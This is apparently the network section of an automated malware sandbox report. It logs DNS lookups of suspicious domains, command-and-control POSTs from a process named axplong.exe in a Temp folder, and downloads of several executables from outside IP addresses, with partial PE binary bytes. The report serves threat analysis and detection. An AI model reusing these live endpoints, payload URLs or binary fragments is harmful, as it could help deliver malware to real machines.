Jul 13, 2024 07:07:10.232611895 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232624054 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.232645988 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232677937 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232691050 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.232712030 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232743979 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232777119 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232783079 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.232811928 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.232811928 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.232827902 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232863903 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232897997 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232925892 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.232930899 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232964039 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232996941 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233011007 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.233030081 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233063936 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233095884 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233109951 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.233130932 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233161926 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233176947 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.233270884 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233303070 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233352900 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233355999 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.233381987 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233429909 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.233431101 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233464003 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233491898 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233540058 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.233540058 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.233541965 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233575106 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233606100 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233637094 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.233638048 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233686924 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.233689070 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233738899 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233771086 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233803034 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233819008 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.233835936 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233867884 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233880997 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.233901024 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233937025 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.233968019 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.233968973 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.234002113 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.234035015 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.234049082 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.234067917 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.234087944 CEST	58985	8888	192.168.2.5	43.153.49.49

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 13, 2024 07:07:07.325249910 CEST	192.168.2.5	1.1.1.1	0x2161	Standard query (0)	bflow-musico.fun	A (IP address)	IN (0x0001)	false
Jul 13, 2024 07:07:17.792083979 CEST	192.168.2.5	1.1.1.1	0x8aa4	Standard query (0)	foodbook.live	A (IP address)	IN (0x0001)	false
Jul 13, 2024 07:08:34.984394073 CEST	192.168.2.5	1.1.1.1	0xdabb	Standard query (0)	tmpfiles.org	A (IP address)	IN (0x0001)	false
Jul 13, 2024 07:09:35.865957022 CEST	192.168.2.5	1.1.1.1	0x7792	Standard query (0)	api.proxyscrape.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 13, 2024 07:06:08.277237892 CEST	1.1.1.1	192.168.2.5	0x17ee	No error (0)	windowsupdatebg.s.llnwi.net	87.248.205.0	A (IP address)	IN (0x0001)	false
Jul 13, 2024 07:07:07.337424040 CEST	1.1.1.1	192.168.2.5	0x2161	No error (0)	bflow-musico.fun	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 13, 2024 07:07:07.337424040 CEST	1.1.1.1	192.168.2.5	0x2161	No error (0)	bflow-musico.fun	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 13, 2024 07:07:09.364046097 CEST	1.1.1.1	192.168.2.5	0x636f	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Jul 13, 2024 07:07:09.364046097 CEST	1.1.1.1	192.168.2.5	0x636f	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Jul 13, 2024 07:07:17.952982903 CEST	1.1.1.1	192.168.2.5	0x8aa4	No error (0)	foodbook.live	15.235.80.22	A (IP address)	IN (0x0001)	false
Jul 13, 2024 07:08:34.994653940 CEST	1.1.1.1	192.168.2.5	0xdabb	No error (0)	tmpfiles.org	104.21.21.16	A (IP address)	IN (0x0001)	false
Jul 13, 2024 07:08:34.994653940 CEST	1.1.1.1	192.168.2.5	0xdabb	No error (0)	tmpfiles.org	172.67.195.247	A (IP address)	IN (0x0001)	false
Jul 13, 2024 07:09:35.876626968 CEST	1.1.1.1	192.168.2.5	0x7792	No error (0)	api.proxyscrape.com	104.18.11.5	A (IP address)	IN (0x0001)	false
Jul 13, 2024 07:09:35.876626968 CEST	1.1.1.1	192.168.2.5	0x7792	No error (0)	api.proxyscrape.com	104.18.10.5	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	77.91.77.81	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:06:01.501384020 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:06:02.228634119 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:06:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:06:02.243724108 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 31 34 32 43 41 46 42 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CDF1A142CAFBFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 13, 2024 07:06:02.494731903 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:06:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 37 37 0d 0a 20 3c 63 3e 31 30 30 30 31 36 30 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 39 66 32 34 63 35 33 66 35 38 33 35 61 37 65 66 31 38 62 31 36 66 39 34 38 38 38 37 35 39 62 65 32 61 36 65 64 32 34 61 65 61 66 61 38 66 64 34 66 37 33 65 62 23 31 30 30 30 31 39 32 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 62 36 37 65 64 38 32 31 33 66 38 31 36 64 63 32 63 64 30 61 65 61 65 65 36 36 65 66 38 66 34 65 38 62 36 34 39 37 66 65 31 66 36 37 66 33 63 37 35 64 30 37 32 39 37 30 66 38 38 65 61 32 37 62 39 38 37 61 63 23 31 30 30 30 31 39 33 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 62 36 37 65 64 38 32 31 33 66 38 31 36 64 63 32 63 64 30 61 65 61 65 65 36 36 65 66 38 66 34 65 38 62 36 34 39 37 66 65 31 66 36 37 66 33 63 36 35 64 61 36 38 63 31 30 39 38 66 61 66 33 62 65 65 64 31 61 63 65 65 31 33 23 31 30 30 30 32 30 32 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 [TRUNCATED] Data Ascii: 477 <c>1000160001+++aa0ed36554e19fb9f24c53f5835a7ef18b16f94888759be2a6ed24aeafa8fd4f73eb#1000192001+++aa0ed36554e19fbffd5744f69c5b67ed8213f816dc2cd0aeaee66ef8f4e8b6497fe1f67f3c75d072970f88ea27b987ac#1000193001+++aa0ed36554e19fbffd5744f69c5b67ed8213f816dc2cd0aeaee66ef8f4e8b6497fe1f67f3c65da68c1098faf3beed1acee13#1000202001+++aa0ed36554e19fb9f24c58f79f437dee9d16e714c2779ebfaded6cf4f8f6bf4525ebfc63#1000210001+++aa0ed36554e19fb9f24c53f5835a7ef18b16f94888759be2a8fd2af0f9abe51c3db8aa636b77#1000219001+++aa0ed36554e19fbaf64c5bf19e437de69d13ef1ed523c7f5e5ec2cebf3b5e25b5cece2325161da74c14f92bc71b9#1000226001+++aa0ed36554e19fbffd5744f59a5f67ee811ff815dc2dd08bb8ed30f4ffefba466fa0e17e76#1000227001+++aa0ed36554e19fbffd5744f69c5b67ed8213f816dc2cd0aeaee66ef8f4e8b6497fe1f67f3c61da7bdd5fc4bc#1000238001+++aa0ed3651df49fa1b10f1aa2c4012cac9d48a443c27f93e2f3b877aeada9e30564f8f6607f65917b8b5f#1000240001+++aa0ed36554e19fb9f24c53f5835a7ef18b16f94888759be2a4ed34efe9fba15e25ebfc63#1000241001+++aa0ed36554e19fb9f24c58f79f43 [TRUNCATED]
Jul 13, 2024 07:06:02.494786978 CEST	98	IN	Data Raw: 32 34 33 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 39 66 32 34 63 35 38 66 37 39 66 34 33 37 64 65 65 39 64 31 36 65 37 31 34 63 32 37 37 39 65 62 66 61 64 65 64 36 63 63 36 66 35 66 62 61 31 34 31 34 39 63 31 64 30 32 38 37 Data Ascii: 243001+++aa0ed36554e19fb9f24c58f79f437dee9d16e714c2779ebfaded6cc6f5fba14149c1d028766ada#<d>0
Jul 13, 2024 07:06:02.496480942 CEST	52	OUT	GET /lend/leg222.exe HTTP/1.1 Host: 77.91.77.81
Jul 13, 2024 07:06:02.718650103 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:06:02 GMT Content-Type: application/octet-stream Content-Length: 1143296 Last-Modified: Wed, 03 Jul 2024 15:26:48 GMT Connection: keep-alive ETag: "66856db8-117200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 fd 0a 19 31 b9 6b 77 62 b9 6b 77 62 b9 6b 77 62 6a 19 74 63 b2 6b 77 62 6a 19 72 63 12 6b 77 62 6a 19 73 63 ac 6b 77 62 7b ea 73 63 ab 6b 77 62 7b ea 74 63 ac 6b 77 62 6a 19 76 63 be 6b 77 62 b9 6b 76 62 39 6b 77 62 7b ea 72 63 ef 6b 77 62 4a e9 7e 63 b8 6b 77 62 4a e9 77 63 b8 6b 77 62 4a e9 88 62 b8 6b 77 62 4a e9 75 63 b8 6b 77 62 52 69 63 68 b9 6b 77 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 72 6a 85 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 86 02 00 00 f8 0e 00 00 00 00 00 59 b0 00 00 00 10 00 00 00 a0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1kwbkwbkwbjtckwbjrckwbjsckwb{sckwb{tckwbjvckwbkvb9kwb{rckwbJ~ckwbJwckwbJbkwbJuckwbRichkwbPELrjf'Y@@`AHA<@`.textxz `.BsS~ `.rdata@@.data\|+P4@.rsrcP@@.reloc R@B
Jul 13, 2024 07:06:02.718712091 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 60 6a 51 00 e8 ce 68 00 00 68 2b 88 42 00 e8 ff a2 00 00 59 c3 6a 01 6a Data Ascii: `jQhh+BYjjhkQ0kQmh5BYVWjYkQQmjVkQXBqh?BY_^)kQm(kQUhhIBYh]BzYhSBnYjjh(lQlQ
Jul 13, 2024 07:06:02.718748093 CEST	1236	IN	Data Raw: c2 08 00 32 c0 5e c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 04 8b 4c 24 08 89 08 c7 40 04 a8 63 51 00 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 e4 f0 81 ec 88 00 00 00 a1 40 50 43 00 33 c4 89 84 24 84 00 00 00 56 8b 75 Data Ascii: 2^D$L$@cQU@PC3$VuWW)D$ D$0~D$4t$@vD$@v-wt$0L$4D$ [=v;BD$D$PD$$PZat$8D$D$<FPt$LL
Jul 13, 2024 07:06:02.718780994 CEST	1236	IN	Data Raw: 00 00 83 c4 08 c7 06 a0 a3 42 00 8b c6 5e c2 04 00 f6 44 24 04 01 56 8b f1 c7 06 ac a3 42 00 74 0b 6a 04 56 e8 0e 97 00 00 83 c4 08 8b c6 5e c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 6a 00 8b f1 e8 4b 5f 00 00 33 c0 c7 46 04 00 00 Data Ascii: B^D$VBtjV^VjK_3FfFFfF F$F(F,F0D$FFFFtPV6w^hCbVVWwF,tP&F,F$tPF$FtP
Jul 13, 2024 07:06:02.718816042 CEST	896	IN	Data Raw: 5e 5b c2 0c 00 5f 8b c6 5e 5b c2 0c 00 53 56 8b 74 24 10 8b d9 57 8b 7c 24 18 3b f7 74 27 55 8b 6c 24 14 0f b7 06 8b cb 8b 13 50 55 8b 42 10 ff d0 84 c0 74 07 83 c6 02 3b f7 75 e7 5d 5f 8b c6 5e 5b c2 0c 00 5f 8b c6 5e 5b c2 0c 00 8d 41 08 50 ff Data Ascii: ^[_^[SVt$W\|$;t'Ul$PUBt;u]_^[_^[APt$Vt$W\|$;tSYSPf;u[_^APt$Vt$W\|$;tSYSPf;
Jul 13, 2024 07:06:02.718849897 CEST	1236	IN	Data Raw: ce 50 ff 74 24 10 57 e8 01 f3 ff ff 8b 4c 24 24 83 f9 0f 76 29 8b 54 24 10 41 8b c2 81 f9 00 10 00 00 72 10 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 77 25 51 52 e8 a8 8e 00 00 83 c4 08 8b 4c 24 3c 8b c6 5f c7 06 ec a3 42 00 5e 33 cc e8 4d 8e 00 Data Ascii: Pt$WL$$v)T$ArP#+w%QRL$<_B^3M]UEAIV#t}t^]jj>tCCCDD$jP&L$PVh@CD$PVt$
Jul 13, 2024 07:06:02.718887091 CEST	1236	IN	Data Raw: 18 0f b7 d0 8b c2 c1 e2 10 0b c2 d1 e9 f3 ab 13 c9 66 f3 ab 33 c0 66 89 44 5d 00 8b c6 5d 5f 5e 5b c2 08 00 e8 30 ed ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b f1 8b 4e 14 83 f9 0f 76 27 8b 06 41 81 f9 00 10 00 00 72 12 8b 50 fc Data Ascii: f3fD]]_^[0VNv'ArP#+wQPFF^S\$WWGGw%D$SPW_G;_[=v
Jul 13, 2024 07:06:02.718920946 CEST	1236	IN	Data Raw: 00 66 0f 2f 05 e8 1e 43 00 76 41 8d 44 24 20 50 83 ec 08 f2 0f 11 0c 24 e8 18 00 01 00 8b 44 24 2c 83 c4 0c 99 dd d8 33 c2 8b 7c 24 44 2b c2 69 c8 97 75 00 00 b8 89 b5 f8 14 f7 e9 c1 fa 0d 8b c2 c1 e8 1f 03 c2 8b 54 24 40 03 f0 83 c6 32 3b f2 77 Data Ascii: f/CvAD$ P$D$,3\|$D+iuT$@2;wt$@D$0GD$00JL$D++;w$t$@t$0Gt$0WjV!>jWD$(L$8t$(WB<\|$D\|$0EG\|$0D$ t$H$t$pD$djPt$4(PVW
Jul 13, 2024 07:06:02.718959093 CEST	1236	IN	Data Raw: 8c 00 00 00 83 c4 30 8b c7 5f 5e 5b 33 cc e8 11 80 00 00 8b e5 5d c2 18 00 cc cc cc cc cc cc cc cc 55 8b ec 83 e4 f0 83 ec 68 a1 40 50 43 00 33 c4 89 44 24 64 8a 45 18 56 8b 75 08 57 8b 7d 14 89 4c 24 10 89 74 24 1c 88 44 24 0c f7 47 14 00 40 00 Data Ascii: 0_^[3]Uh@PC3D$dEVuW}L$t$D$G@u+EPt$WuuVR$_^L$d3]G0HL$PD$P*L$tRtj}L$@QtPP$(D$@w )D$ ~D$PfD$0D$0\|
Jul 13, 2024 07:06:02.719594002 CEST	1236	IN	Data Raw: 24 30 41 8b c2 81 f9 00 10 00 00 72 10 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 77 1f 51 52 e8 6f 7b 00 00 83 c4 08 8b 4c 24 5c 8b c6 5f 5e 33 cc e8 1a 7b 00 00 8b e5 5d c2 1c 00 e8 7b f9 00 00 cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 e4 Data Ascii: $0ArP#+wQRo{L$\_^3{]{UX@PC3D$TE3VuWL$W)D$0N0D$,t$T$@\|$DT$00urD$D$$FvD$\|tuupk3 uZM(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	77.91.77.81	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:06:04.782187939 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 31 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000160001&unit=246122658369
Jul 13, 2024 07:06:05.517060041 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:06:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	185.216.214.217	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:06:05.540261030 CEST	66	OUT	GET /cdn-directory/gold543.exe HTTP/1.1 Host: 185.216.214.217

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49721	185.216.214.217	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:06:14.597671032 CEST	66	OUT	GET /cdn-directory/gold543.exe HTTP/1.1 Host: 185.216.214.217

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	58969	185.216.214.217	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:06:23.637501955 CEST	66	OUT	GET /cdn-directory/gold543.exe HTTP/1.1 Host: 185.216.214.217

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	58973	77.91.77.81	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:06:32.660417080 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 30 30 31 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1000192001&unit=246122658369
Jul 13, 2024 07:06:33.362234116 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:06:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	58974	185.216.214.217	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:06:33.368908882 CEST	68	OUT	GET /cdn-directory/wev233v22.exe HTTP/1.1 Host: 185.216.214.217

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	58975	185.216.214.217	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:06:42.395057917 CEST	68	OUT	GET /cdn-directory/wev233v22.exe HTTP/1.1 Host: 185.216.214.217

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	58976	185.216.214.217	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:06:51.425934076 CEST	68	OUT	GET /cdn-directory/wev233v22.exe HTTP/1.1 Host: 185.216.214.217

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	58978	77.91.77.81	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:00.456748009 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 30 30 31 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1000193001&unit=246122658369
Jul 13, 2024 07:07:01.157881975 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	58979	77.232.41.110	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:07:01.167506933 CEST	54	OUT	GET /large/hello.exe HTTP/1.1 Host: 77.232.41.110
Jul 13, 2024 07:07:01.858057976 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:07:01 GMT Content-Type: application/octet-stream Content-Length: 1115648 Last-Modified: Fri, 12 Jul 2024 21:26:39 GMT Connection: keep-alive ETag: "66919f8f-110600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 1a 50 91 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 fa 10 00 00 0a 00 00 00 00 00 00 0e 18 11 00 00 20 00 00 00 20 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 11 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b8 17 11 00 53 00 00 00 00 20 11 00 e0 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELPf @ `@S @ H.text `.rsrc @@.reloc@@BH@xcSfM]<NNd,N*\1e[EAj%A;AHp $U=5(OLiOdAwA0hiATA8A~A@A06AZKAx]$,3%dY6t4Qy_E1K/t@A+AA?A={H?K?jljnxTeK@/nAGA.A}?AwANGAAzAA
